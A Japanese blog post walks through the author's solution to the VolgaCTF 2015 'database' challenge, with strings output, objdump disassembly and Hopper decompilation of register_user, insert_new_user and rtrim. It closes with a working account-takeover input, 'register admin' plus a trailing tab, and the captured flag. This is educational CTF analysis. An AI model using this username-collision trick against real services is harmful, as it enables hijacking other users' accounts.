Sionの技術ブログ

インフラエンジニアとして日々の学習を書いて行きます。twitterは@sion_cojp

VolgaCTF 2015 : 75 - databaseのwriteup

手探り

### databaseに接続してみる
$ nc database.2015.volgactf.ru 7777
>> help
Unknown command or incorrect number of parameteres.
>> pwd
Unknown command or incorrect number of parameteres.

### ダウンロードしたヒントファイルを調べてみる
$ file database
database: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped

Linux 64bit形式だと言う事が分かる。

### 中身を見てみる
$ more database
"database" may be a binary file.  See it anyway?

バイナリか・・・

### とりあえず表示出来る文字列だけ表示してみる
$ strings database
# 怪しいコマンドはこんなところか。
admin
get_flag
whoami
login
register
get_info
set_info
get_flag_prohibited
get_flag
 
 
 
### 怪しいところをdatabaseに打ち込んでみる
>> admin
Unknown command or incorrect number of parameteres.
>> get_flag
This command is prohibited to non-admin users
>> whoami
Unknown command or incorrect number of parameteres.
>> login
Unknown command or incorrect number of parameteres.
>> register
Unknown command or incorrect number of parameteres.
>> get_info
admin : {it_is_not_the_flag!}
>> set_info
Unknown command or incorrect number of parameteres.
>> get_flag_prohibited
Unknown command or incorrect number of parameteres.
>> get_flag
This command is prohibited to non-admin users.


adminになれば色々コマンドが打てる事が分かった。
どうすればadminになれるか。
adminを登録すれば良いのか。

アセンブラ

$ sudo objdump -d database
0000000000401436 <register_user>:
  401436:   55                      push   %rbp
  401437:   48 89 e5                mov    %rsp,%rbp
  40143a:   48 83 ec 30             sub    $0x30,%rsp
  40143e:   89 7d ec                mov    %edi,-0x14(%rbp)
  401441:   48 89 75 e0             mov    %rsi,-0x20(%rbp)
  401445:   48 89 55 d8             mov    %rdx,-0x28(%rbp)
  401449:   48 89 4d d0             mov    %rcx,-0x30(%rbp)
  40144d:   48 83 7d d8 00          cmpq   $0x0,-0x28(%rbp)
  401452:   74 07                   je     40145b <register_user+0x25>
  401454:   48 83 7d d0 00          cmpq   $0x0,-0x30(%rbp)
  401459:   75 2a                   jne    401485 <register_user+0x4f>
  40145b:   48 8b 05 2e 1d 20 00    mov    0x201d2e(%rip),%rax        # 603190 <no_data>
  401462:   48 89 c7                mov    %rax,%rdi
  401465:   e8 d6 f9 ff ff          callq  400e40 <strlen@plt>
  40146a:   48 89 c2                mov    %rax,%rdx
  40146d:   48 8b 35 1c 1d 20 00    mov    0x201d1c(%rip),%rsi        # 603190 <no_data>
  401474:   8b 45 ec                mov    -0x14(%rbp),%eax
  401477:   b9 00 00 00 00          mov    $0x0,%ecx
  40147c:   89 c7                   mov    %eax,%edi
  40147e:   e8 ed f9 ff ff          callq  400e70 <send@plt>
  401483:   eb 6a                   jmp    4014ef <register_user+0xb9>
  401485:   48 8b 05 2c 1d 20 00    mov    0x201d2c(%rip),%rax        # 6031b8 <users>
  40148c:   48 8b 55 d8             mov    -0x28(%rbp),%rdx
  401490:   48 89 d6                mov    %rdx,%rsi
  401493:   48 89 c7                mov    %rax,%rdi
  401496:   e8 95 f9 ff ff          callq  400e30 <g_hash_table_lookup@plt>
  40149b:   48 89 45 f8             mov    %rax,-0x8(%rbp)
  40149f:   48 83 7d f8 00          cmpq   $0x0,-0x8(%rbp)
  4014a4:   74 2a                   je     4014d0 <register_user+0x9a>
  4014a6:   48 8b 05 cb 1c 20 00    mov    0x201ccb(%rip),%rax        # 603178 <user_exists>
  4014ad:   48 89 c7                mov    %rax,%rdi
  4014b0:   e8 8b f9 ff ff          callq  400e40 <strlen@plt>
  4014b5:   48 89 c2                mov    %rax,%rdx
  4014b8:   48 8b 35 b9 1c 20 00    mov    0x201cb9(%rip),%rsi        # 603178 <user_exists>
  4014bf:   8b 45 ec                mov    -0x14(%rbp),%eax
  4014c2:   b9 00 00 00 00          mov    $0x0,%ecx
  4014c7:   89 c7                   mov    %eax,%edi
  4014c9:   e8 a2 f9 ff ff          callq  400e70 <send@plt>
  4014ce:   eb 1f                   jmp    4014ef <register_user+0xb9>
  4014d0:   48 8b 4d d0             mov    -0x30(%rbp),%rcx
  4014d4:   48 8b 45 d8             mov    -0x28(%rbp),%rax
  4014d8:   ba 00 00 00 00          mov    $0x0,%edx
  4014dd:   48 89 ce                mov    %rcx,%rsi
  4014e0:   48 89 c7                mov    %rax,%rdi
  4014e3:   e8 8c fc ff ff          callq  401174 <insert_new_user>
  4014e8:   48 8b 55 e0             mov    -0x20(%rbp),%rdx
  4014ec:   48 89 02                mov    %rax,(%rdx)
  4014ef:   c9                      leaveq
  4014f0:   c3                      retq

eとかrとかめちゃくちゃになってるのは仕方なし。
rdi = 0x14(20)
rsi = 0x20(32)
rdx = 0x28(40)
rcx = 0x30(48)

$0x0,-0x28(rdx = 0x0(null))の場合、もしくは$0x0,-0x30(rcx = 0x0(null))の場合、

strlen関数持って来て、rdi = 0x14(20)の文字列の長さをno_dataポインタに格納 + raxに返り値を入れる。
って一個ずつやってもいいんですが、IDAproやhopper使うと見易くなります。

Hopperで解析

f:id:sion_cojp:20150514034042p:plain

registerコマンドしっかりありました。

/* 先ほどのregister_user functionを逆アセンブラ */
function register_user {
    var_28 = rdi;
    var_16 = rsi;
    var_8 = rdx;
    var_0 = rcx;
    if ((var_8 == 0x0) || (var_0 == 0x0)) {
            rax = strlen(*no_data);
            rax = send(var_28, *no_data, rax, 0x0);
    }
    else {
            rax = g_hash_table_lookup(*users, var_8, var_8);
            var_40 = rax;
            if (var_40 != 0x0) {
                    rax = strlen(*user_exists);
                    rax = send(var_28, *user_exists, rax, 0x0);
            }
            else {
                    rax = insert_new_user(var_8, var_0, 0x0, var_0);
                    *var_16 = rax;
            }
    }
    return rax;
}

さっきより見やすい。
全体の流れはこんな感じ。

①var_28, 16, 8, 0を各レジスタに格納。
②もし、var_8か、var_0がnull(0x0)の場合、
・文字列の長さ(整数)をno_dataポインタに格納。(raxレジスタに返り値を入れる)
・var_28(ソケットディスクリプタ)を使って、no_dataポインタに格納された文字列の長さの値を送る。
③それ以外の場合、
・var_8(引数1。ユーザ名)var_8(引数2。パスワード)をusersポインタに格納

③-1 もし、var_40がnull(0x0)じゃ無い場合、
・文字列の長さ(整数)をuser_exitsポインタに格納。
・var_28(ソケットディスクリプタ)を使って、user_exitsポインタに格納された文字列の長さの値を送る。
③-2 それ以外は、
・insert_new_user functionより、新しいユーザを作る

つまり、入力ユーザが指定されてない場合と、入力ユーザが指定されてる場合は、①入力ユーザが既に存在しない場合②入力ユーザが存在してない場合
に分かれる。

/* insert_new_user function */

function insert_new_user {
    var_24 = rdi;
    var_16 = rsi;
    var_8 = rdx;
    rax = calloc(0x40, 0x1);
    var_32 = rax;
    rax = rtrim(var_24);
    strncpy(var_32, rax, 0x40);
    *(int8_t *)(var_32 + 0x40) = 0x0;
    rax = calloc(0x80, 0x1);
    var_40 = rax;
    rax = rtrim(var_16);
    strncpy(var_40, rax, 0x40);
    *(int8_t *)(var_40 + 0x40) = 0x0;
    if (var_8 != 0x0) {
            rax = rtrim(var_8);
            strncpy(var_40 + 0x40, rax, 0x40);
            *(int8_t *)(var_40 + 0x80) = 0x0;
    }
    rax = g_hash_table_insert(*users, var_32, var_40, var_32);
    return var_32;
}

うーむ。idapro欲しい。

もし入力ユーザが存在してる場合は、rtrimを使って削除して、strncpy(文字列をn文字コピー) で上書きする動きなのは分かる。

/* rtrim */
function rtrim {
    var_8 = rdi;
    rax = strlen(var_8);
    var_24 = var_8 + rax + 0xffffffffffffffff;
loc_401164:
    if (var_24 >= var_8) goto loc_401126;
    goto loc_40116e;
loc_401126:
    if (((*(int8_t *)var_24 & 0xff) != 0xd) && ((*(int8_t *)var_24 & 0xff) != 0xa)) goto loc_40113c;
    goto loc_401158;
loc_40113c:
    if (((*(int8_t *)var_24 & 0xff) != 0x20) && ((*(int8_t *)var_24 & 0xff) != 0x9)) goto loc_401152;
    goto loc_401158;
loc_401152:
    rax = var_8;
loc_401172:
    return rax;
loc_401158:
    *(int8_t *)var_24 = 0x0;
    var_24 = var_24 - 0x1;
    goto loc_401164;
loc_40116e:
    rax = var_8;
    goto loc_401172;
}

loc_401126:で0xdと0xa(改行コード)を無視している
loc_40113c:で0x20と0x9(スペースとタブ)を無視している
http://ratan.dyndns.info/MicrosoftVisualC++/eskape.html



ということは、第一引数のユーザ名で、
adminの後に改行コード(inuxだとctrl+v, ctrl+mで出来る^M。CR。)か、tabコード(LF。0xA。普通にタブを押せば入る)を入れれば、新しいユーザとして認識され、パスワードを上書きしてしまう脆弱性っぽい

ちなみにスペースだと引数が増えるだけなのでだめ。

実際にやってみる

$ nc database.2015.volgactf.ru 7777
>> whoami
You are not even logged in!
>> register admin    a
>> whoami
You are admin.
>> get_flag
flag: {does_it_look_like_column_tr@ncation}

答え

{does_it_look_like_column_tr@ncation}